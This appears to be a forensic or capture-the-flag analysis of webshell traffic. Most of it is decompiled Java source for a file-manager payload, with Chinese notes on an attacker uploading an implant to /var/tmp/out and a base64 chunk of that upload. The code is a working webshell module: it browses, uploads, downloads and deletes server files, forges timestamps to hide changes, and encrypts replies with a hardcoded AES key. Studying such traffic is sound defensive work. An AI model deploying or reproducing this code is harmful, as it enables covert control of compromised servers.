QmWC2OZeKH/78PbQ/ecJSbNiRzsL1fudcSGmIlLPFDw6Ttk15SeFFxVX+uk0q+uJbM9xdTzEKoM7aCvb7bjHUfqShll+BQ22UGHGGuxiwNxLSYo5gvDTIXcfrH+W++hFY/4rNkFi5ZQkp8W3aYXFKP72s7NxIAmix/3NXusrvUuoqd73udI/TsF+ZmoZ2aF1SErZu0APYuvHij9H3LoUBauY74lX5dtSKfMmU76/7MV9zyHfoTpWvnV62uJb0voNwFSD7fZDdSdk3UvahD4vsb3B2Ldoq3i8geQol91PyXEjuNUuzxjGdYNa0K+RtRHkvorxDIO/51ryZMbUtvt2s7Z5vBIlUItGMSPhgACXfaQ6B0XTVqQ9NB7aPSsOMz0HGNMr4JUEatIOyP/accuTJ9cUyKlb8pqkvIZbCSjPWuGLSXCgsgwqbS4X5J8L930OB/Vzrci8pq3SVXUOiu5WaLAOy94HsmZS9D2V/EBrZ1aPiLmaZ6jzI8cfXIkcPyvHHcsxxL+T4vYhzcPCczXfgCcrxv0nXapEUwk66JVb6ot+iShp9+R0cYwHkiflSHD57p6mjB3zb4w9i/RaLKhvfF0n4UJBd7jqF7JKijZKvY7U/t5OuZKmnd5m0y356a8QM/iB1dOkYr6BB7cnapFhrxjFYi6KKFkXp3nArz2hOk46+VGLX4qEA1UjVXAGWGrhGrAEc9zVikVzCcWdJ976TLgdradO4Pl+u0mkPaqv0R3czUGfwOoeqG4g7omh8V8+ym6ir7CFWyLl8yyg+c3SX6PWLqdej9yFXPxDLonHsdtxf19iKJhKFbEXIV0VR6lGsuJKQOtM+vd5u43hTb8Ky6vtrS6n0ApkeZdTI+W1ls44vkDVeZ0c/Eq6yOCKT64Y//wC4Tahjs6dCxb+6O/YUhBTXKIpX2zlQkI5M"; super(); this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding")); }
public boolean equals(Object obj) { Object result = new HashMap(); boolean var15 = false;
boolean var3; label198: { Method write; Object so; label199: { try { var15 = true; this.fillContext(obj); if (mode.equalsIgnoreCase("list")) { ((Map)result).put("msg", this.list()); ((Map)result).put("status", "success"); var15 = false; } else if (mode.equalsIgnoreCase("show")) { ((Map)result).put("msg", this.show()); ((Map)result).put("status", "success"); var15 = false; } else if (mode.equalsIgnoreCase("checkExist")) { ((Map)result).put("msg", this.checkExist(path)); ((Map)result).put("status", "success"); var15 = false; } else if (mode.equalsIgnoreCase("delete")) { result = this.delete(); var15 = false; } else if (mode.equalsIgnoreCase("create")) { ((Map)result).put("msg", this.create()); ((Map)result).put("status", "success"); var15 = false; } else if (mode.equalsIgnoreCase("append")) { ((Map)result).put("msg", this.append()); ((Map)result).put("status", "success"); var15 = false; } else if (mode.equalsIgnoreCase("update")) { this.updateFile(); ((Map)result).put("msg", "ok"); ((Map)result).put("status", "success"); var15 = false; } else if (mode.equalsIgnoreCase("downloadPart")) { ((Map)result).put("msg", this.downloadPart(path, Long.parseLong(blockIndex), Long.parseLong(blockSize))); ((Map)result).put("status", "success"); var15 = false; } else { if (mode.equalsIgnoreCase("download")) { this.download(); var3 = true; var15 = false; break label198; }
if (mode.equalsIgnoreCase("rename")) { result = this.renameFile(); var15 = false; } else if (mode.equalsIgnoreCase("createFile")) { ((Map)result).put("msg", this.createFile()); ((Map)result).put("status", "success"); var15 = false; } else if (mode.equalsIgnoreCase("compress")) { zipFile(path, true); ((Map)result).put("msg", "ok"); ((Map)result).put("status", "success"); var15 = false; } else if (mode.equalsIgnoreCase("createDirectory")) { ((Map)result).put("msg", this.createDirectory()); ((Map)result).put("status", "success"); var15 = false; } else if (mode.equalsIgnoreCase("getTimeStamp")) { ((Map)result).put("msg", this.getTimeStamp()); ((Map)result).put("status", "success"); var15 = false; } else if (mode.equalsIgnoreCase("updateTimeStamp")) { ((Map)result).put("msg", this.updateTimeStamp()); ((Map)result).put("status", "success"); var15 = false; } else if (mode.equalsIgnoreCase("check")) { ((Map)result).put("msg", this.checkFileHash(path)); ((Map)result).put("status", "success"); var15 = false; } else { var15 = false; } } break label199; } catch (Throwable var20) { var20.printStackTrace(); ((Map)result).put("msg", var20.getMessage()); ((Map)result).put("status", "fail"); var15 = false; } finally { if (var15) { try { Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson((Map)result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var16) { var16.printStackTrace(); }
} }
try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson((Map)result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var18) { var18.printStackTrace(); }
return true; }
try { so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson((Map)result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var19) { var19.printStackTrace(); }
return true; }
try { Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, this.Encrypt(this.buildJson((Map)result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); } catch (Exception var17) { var17.printStackTrace(); }
return var3; }
private String checkFileHash(String path) throws Exception { FileChannel ch = (FileChannel)this.sessionGetAttribute(this.Session, path); if (ch != null && ch.isOpen()) { ch.close(); }
byte[] input = this.getFileData(path); if (input != null && input.length != 0) { MessageDigest md5 = MessageDigest.getInstance("MD5"); md5.update(input); byte[] byteArray = md5.digest(); StringBuilder sb = new StringBuilder(); byte[] var7 = byteArray; int var8 = byteArray.length;
for(int var9 = 0; var9 < var8; ++var9) { byte b = var7[var9]; sb.append(String.format("%02x", b)); }
return sb.substring(0, 16); } else { return null; } }
private void updateFile() throws Exception { FileChannel ch = (FileChannel)this.sessionGetAttribute(this.Session, path); if (ch == null) { FileOutputStream fos = new FileOutputStream(path); ch = fos.getChannel(); this.sessionSetAttribute(this.Session, "fos", fos); this.sessionSetAttribute(this.Session, path, ch); }
synchronized(ch) { ch.position((long)(Integer.parseInt(blockIndex) * Integer.parseInt(blockSize))); ch.write(ByteBuffer.wrap(this.base64decode(content))); } }
private Map<String, String> warpFileObj(File file) { Map<String, String> obj = new HashMap(); obj.put("type", file.isDirectory() ? "directory" : "file"); obj.put("name", file.getName()); obj.put("size", file.length() + ""); obj.put("perm", this.getFilePerm(file)); obj.put("lastModified", (new SimpleDateFormat("yyyy/MM/dd HH:mm:ss")).format(new Date(file.lastModified()))); return obj; }
private boolean isOldJava() { String version = System.getProperty("java.version"); return version.compareTo("1.7") < 0; }
private String checkExist(String path) throws Exception { File file = new File(path); if (file.exists()) { return file.length() + ""; } else { throw new Exception(""); } }
private String getFilePerm(File file) { String permStr = ""; if (this.isWindows()) { try { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-"); } catch (Error var12) { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/-"; } } else { String version = System.getProperty("java.version"); if (version.compareTo("1.7") >= 0) { try { this.getClass(); Class FilesCls = Class.forName("java.nio.file.Files"); this.getClass(); Class PosixFileAttributesCls = Class.forName("java.nio.file.attribute.PosixFileAttributes"); this.getClass(); Class PathsCls = Class.forName("java.nio.file.Paths"); this.getClass(); Class PosixFilePermissionsCls = Class.forName("java.nio.file.attribute.PosixFilePermissions"); Object f = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), file.getAbsolutePath(), new String[0]); Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, f, PosixFileAttributesCls, new LinkOption[0]); Object result = PosixFilePermissionsCls.getMethod("toString", Set.class).invoke(PosixFilePermissionsCls, PosixFileAttributesCls.getMethod("permissions").invoke(attrs)); permStr = result.toString(); } catch (Exception var11) { } } else { permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-"); } }
return permStr; }
private String list() throws Exception { String result = ""; File f = new File(path); List<Map<String, String>> objArr = new ArrayList(); objArr.add(this.warpFileObj(new File("."))); objArr.add(this.warpFileObj(new File(".."))); if (f.isDirectory() && f.listFiles() != null) { File[] var4 = f.listFiles(); int var5 = var4.length;
for(int var6 = 0; var6 < var5; ++var6) { File temp = var4[var6]; objArr.add(this.warpFileObj(temp)); } }
result = this.buildJsonArray(objArr, true); return result; }
private String show() throws Exception { byte[] fileContent = this.getFileData(path); return base64encode(fileContent); }
private byte[] getFileData(String path) throws IOException { ByteArrayOutputStream output = new ByteArrayOutputStream(); FileInputStream fis = new FileInputStream(new File(path));
int data; while((data = fis.read()) != -1) { output.write(data); }
fis.close(); return output.toByteArray(); }
private String create() throws Exception { String result = ""; FileOutputStream fso = new FileOutputStream(path); fso.write(this.base64decode(content)); fso.flush(); fso.close(); result = path + "\u4e0a\u4f20\u5b8c\u6210\uff0c\u8fdc\u7a0b\u6587\u4ef6\u5927\u5c0f:" + (new File(path)).length(); return result; }
private Map<String, String> renameFile() throws Exception { Map<String, String> result = new HashMap(); File oldFile = new File(path); File newFile = new File(newPath); if (oldFile.exists() && oldFile.isFile() & oldFile.renameTo(newFile)) { result.put("status", "success"); result.put("msg", "\u91cd\u547d\u540d\u5b8c\u6210:" + newPath); } else { result.put("status", "fail"); result.put("msg", "\u91cd\u547d\u540d\u5931\u8d25:" + newPath); }
return result; }
private String createFile() throws Exception { String result = ""; FileOutputStream fso = new FileOutputStream(path); fso.close(); result = path + "\u521b\u5efa\u5b8c\u6210"; return result; }
private String createDirectory() throws Exception { String result = ""; File dir = new File(path); dir.mkdirs(); result = path + "\u521b\u5efa\u5b8c\u6210"; return result; }
private void download() throws Exception { FileInputStream fis = new FileInputStream(path); Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response); Method write = so.getClass().getMethod("write", byte[].class);
int data; while((data = fis.read()) != -1) { write.invoke(so, data); }
so.getClass().getMethod("flush").invoke(so); so.getClass().getMethod("close").invoke(so); fis.close(); }
private String append() throws Exception { String result = ""; FileOutputStream fso = new FileOutputStream(path, true); fso.write(this.base64decode(content)); fso.flush(); fso.close(); result = path + "\u8ffd\u52a0\u5b8c\u6210\uff0c\u8fdc\u7a0b\u6587\u4ef6\u5927\u5c0f:" + (new File(path)).length(); return result; }
private Map<String, String> delete() throws Exception { Map<String, String> result = new HashMap(); File f = new File(path); if (f.exists()) { if (f.delete()) { result.put("status", "success"); result.put("msg", path + " \u5220\u9664\u6210\u529f."); } else { result.put("status", "fail"); result.put("msg", "\u6587\u4ef6" + path + "\u5b58\u5728\uff0c\u4f46\u662f\u5220\u9664\u5931\u8d25."); } } else { result.put("status", "fail"); result.put("msg", "\u6587\u4ef6\u4e0d\u5b58\u5728."); }
return result; }
private String getTimeStamp() throws Exception { String result = ""; DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); File f = new File(path); Map<String, String> timeStampObj = new HashMap(); if (f.exists()) { this.getClass(); Class FilesCls = Class.forName("java.nio.file.Files"); this.getClass(); Class BasicFileAttributesCls = Class.forName("java.nio.file.attribute.BasicFileAttributes"); this.getClass(); Class PathsCls = Class.forName("java.nio.file.Paths"); Object file = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]); Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, file, BasicFileAttributesCls, new LinkOption[0]); Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime"); Object createTime = FileTimeCls.getMethod("toMillis").invoke(BasicFileAttributesCls.getMethod("creationTime").invoke(attrs)); Object lastAccessTime = FileTimeCls.getMethod("toMillis").invoke(BasicFileAttributesCls.getMethod("lastAccessTime").invoke(attrs)); Object lastModifiedTime = FileTimeCls.getMethod("toMillis").invoke(BasicFileAttributesCls.getMethod("lastModifiedTime").invoke(attrs)); String createTimeStamp = df.format(new Date((Long)createTime)); String lastAccessTimeStamp = df.format(new Date((Long)lastAccessTime)); String lastModifiedTimeStamp = df.format(new Date((Long)lastModifiedTime)); timeStampObj.put("createTime", createTimeStamp); timeStampObj.put("lastAccessTime", lastAccessTimeStamp); timeStampObj.put("lastModifiedTime", lastModifiedTimeStamp); result = this.buildJson(timeStampObj, true); return result; } else { throw new Exception("\u6587\u4ef6\u4e0d\u5b58\u5728"); } }
private boolean isWindows() { return System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0; }
private String updateTimeStamp() throws Exception { String result = ""; DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); File f = new File(path); if (f.exists()) { f.setLastModified(df.parse(modifyTimeStamp).getTime()); if (!this.isOldJava()) { Class PathsCls = Class.forName("java.nio.file.Paths"); Class BasicFileAttributeViewCls = Class.forName("java.nio.file.attribute.BasicFileAttributeView"); Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime"); Method getFileAttributeView = Class.forName("java.nio.file.Files").getMethod("getFileAttributeView", Path.class, Class.class, LinkOption[].class); Object attributes = getFileAttributeView.invoke(Class.forName("java.nio.file.Files"), PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]), BasicFileAttributeViewCls, new LinkOption[0]); Object createTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, df.parse(createTimeStamp).getTime()); Object accessTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, df.parse(accessTimeStamp).getTime()); Object modifyTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, df.parse(modifyTimeStamp).getTime()); BasicFileAttributeViewCls.getMethod("setTimes", FileTimeCls, FileTimeCls, FileTimeCls).invoke(attributes, modifyTime, accessTime, createTime); }
result = "\u65f6\u95f4\u6233\u4fee\u6539\u6210\u529f\u3002"; return result; } else { throw new Exception("\u6587\u4ef6\u4e0d\u5b58\u5728"); } }
private String downloadPart(String path, long blockIndex, long blockSize) throws Exception { FileChannel ch = (FileChannel)this.sessionGetAttribute(this.Session, path); if (ch == null) { FileInputStream fis = new FileInputStream(path); ch = fis.getChannel(); this.sessionSetAttribute(this.Session, "fis", fis); this.sessionSetAttribute(this.Session, path, ch); }
ByteBuffer buffer = ByteBuffer.allocate((int)blockSize); int size; synchronized(ch) { ch.position(blockIndex * blockSize); size = ch.read(buffer); }
byte[] content = new byte[size]; System.arraycopy(buffer.array(), 0, content, 0, size); return base64encode(content); }
private static void zipFile(String srcDir, boolean KeepDirStructure) throws Exception { File file = new File(srcDir); String fileName = file.getName(); FileOutputStream out = new FileOutputStream((new File(srcDir)).getParentFile().getAbsolutePath() + File.separator + fileName + ".zip"); long start = System.currentTimeMillis(); ZipOutputStream zos = null;
try { zos = new ZipOutputStream(out); File sourceFile = new File(srcDir); compress(sourceFile, zos, sourceFile.getName(), KeepDirStructure); long var9 = System.currentTimeMillis(); } catch (Exception var18) { throw new RuntimeException("zip error from ZipUtils", var18); } finally { if (zos != null) { try { zos.close(); } catch (IOException var17) { var17.printStackTrace(); } }
}
}
private static void compress(File sourceFile, ZipOutputStream zos, String name, boolean KeepDirStructure) throws Exception { byte[] buf = new byte[102400]; if (sourceFile.isFile()) { zos.putNextEntry(new ZipEntry(name)); FileInputStream in = new FileInputStream(sourceFile);
int len; while((len = in.read(buf)) != -1) { zos.write(buf, 0, len); }
zos.closeEntry(); in.close(); } else { File[] listFiles = sourceFile.listFiles(); if (listFiles != null && listFiles.length != 0) { File[] var11 = listFiles; int var7 = listFiles.length;
for(int var8 = 0; var8 < var7; ++var8) { File file = var11[var8]; if (KeepDirStructure) { compress(file, zos, name + "/" + file.getName(), KeepDirStructure); } else { compress(file, zos, file.getName(), KeepDirStructure); } } } else if (KeepDirStructure) { zos.putNextEntry(new ZipEntry(name + "/")); zos.closeEntry(); } }
}
private String buildJsonArray(List<Map<String, String>> list, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); sb.append("["); Iterator var4 = list.iterator();
while(var4.hasNext()) { Map<String, String> entity = (Map)var4.next(); sb.append(this.buildJson(entity, encode) + ","); }
if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); }
sb.append("]"); return sb.toString(); }
private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); Iterator var5 = entity.keySet().iterator();
while(var5.hasNext()) { String key = (String)var5.next(); sb.append("\"" + key + "\":\""); String value = ((String)entity.get(key)).toString(); if (encode) { Class Base64; Object Encoder; if (version.compareTo("1.9") >= 0) { this.getClass(); Base64 = Class.forName("java.util.Base64"); Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null); value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { this.getClass(); Base64 = Class.forName("sun.misc.BASE64Encoder"); Encoder = Base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); value = value.replace("\n", "").replace("\r", ""); } }
sb.append(value); sb.append("\","); }
if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); }
sb.append("}"); return sb.toString(); }
private byte[] base64decode(String base64Text) throws Exception { String version = System.getProperty("java.version"); byte[] result; Class Base64; Object Decoder; if (version.compareTo("1.9") >= 0) { this.getClass(); Base64 = Class.forName("java.util.Base64"); Decoder = Base64.getMethod("getDecoder", (Class[])null).invoke(Base64, (Object[])null); result = (byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, base64Text); } else { this.getClass(); Base64 = Class.forName("sun.misc.BASE64Decoder"); Decoder = Base64.newInstance(); result = (byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, base64Text); }
return result; }
private static String base64encode(String content) throws Exception { String result = ""; String version = System.getProperty("java.version"); Class Base64; Object Encoder; if (version.compareTo("1.9") >= 0) { Base64 = Class.forName("java.util.Base64"); Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null); result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, content.getBytes("UTF-8")); } else { Base64 = Class.forName("sun.misc.BASE64Encoder"); Encoder = Base64.newInstance(); result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, content.getBytes("UTF-8")); result = result.replace("\n", "").replace("\r", ""); }
return result; }
private static String base64encode(byte[] content) throws Exception { String result = ""; String version = System.getProperty("java.version"); Class Base64; Object Encoder; if (version.compareTo("1.9") >= 0) { Base64 = Class.forName("java.util.Base64"); Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null); result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, content); } else { Base64 = Class.forName("sun.misc.BASE64Encoder"); Encoder = Base64.newInstance(); result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, content); result = result.replace("\n", "").replace("\r", ""); }
return result; }
private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest").invoke(obj); this.Response = obj.getClass().getMethod("getResponse").invoke(obj); this.Session = obj.getClass().getMethod("getSession").invoke(obj); } else { Map<String, Object> objMap = (Map)obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); }
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); }
private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum];
for(int i = 0; i < buf.length; ++i) { buf[i] = (byte)random.nextInt(256); }
return buf; }
private Object sessionGetAttribute(Object session, String key) { Object result = null;
try { result = session.getClass().getMethod("getAttribute", String.class).invoke(session, key); } catch (Exception var5) { }
return result; }
private void sessionSetAttribute(Object session, String key, Object value) { try { session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, value); } catch (Exception var5) { }
}
private byte[] Encrypt(byte[] var1) throws Exception { String var2 = "1f2c8075acd3d118"; byte[] var3 = var2.getBytes("utf-8"); SecretKeySpec var4 = new SecretKeySpec(var3, "AES"); Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding"); var5.init(1, var4); byte[] var6 = var5.doFinal(var1);
Class var7; try { var7 = Class.forName("java.util.Base64"); Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null); var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6); } catch (Throwable var12) { var7 = Class.forName("sun.misc.BASE64Encoder"); Object var10 = var7.newInstance(); String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6); var11 = var11.replace("\n", "").replace("\r", ""); var6 = var11.getBytes(); }
return var6; }}mode = "update": 攻击者正在执行文件更新/上传操作。
path = "/var/tmp/out": 目标路径正是你之前发现的植入体。
blockIndex = "2": 这是分片上传的第 3 块数据(索引从 0 开始)。
blockSize = "30720": 每个分片的大小为 30KB。
content = "h61Bx……": 这是经过 Base64 编码的二进制原始数据碎片。
提取content的内容:
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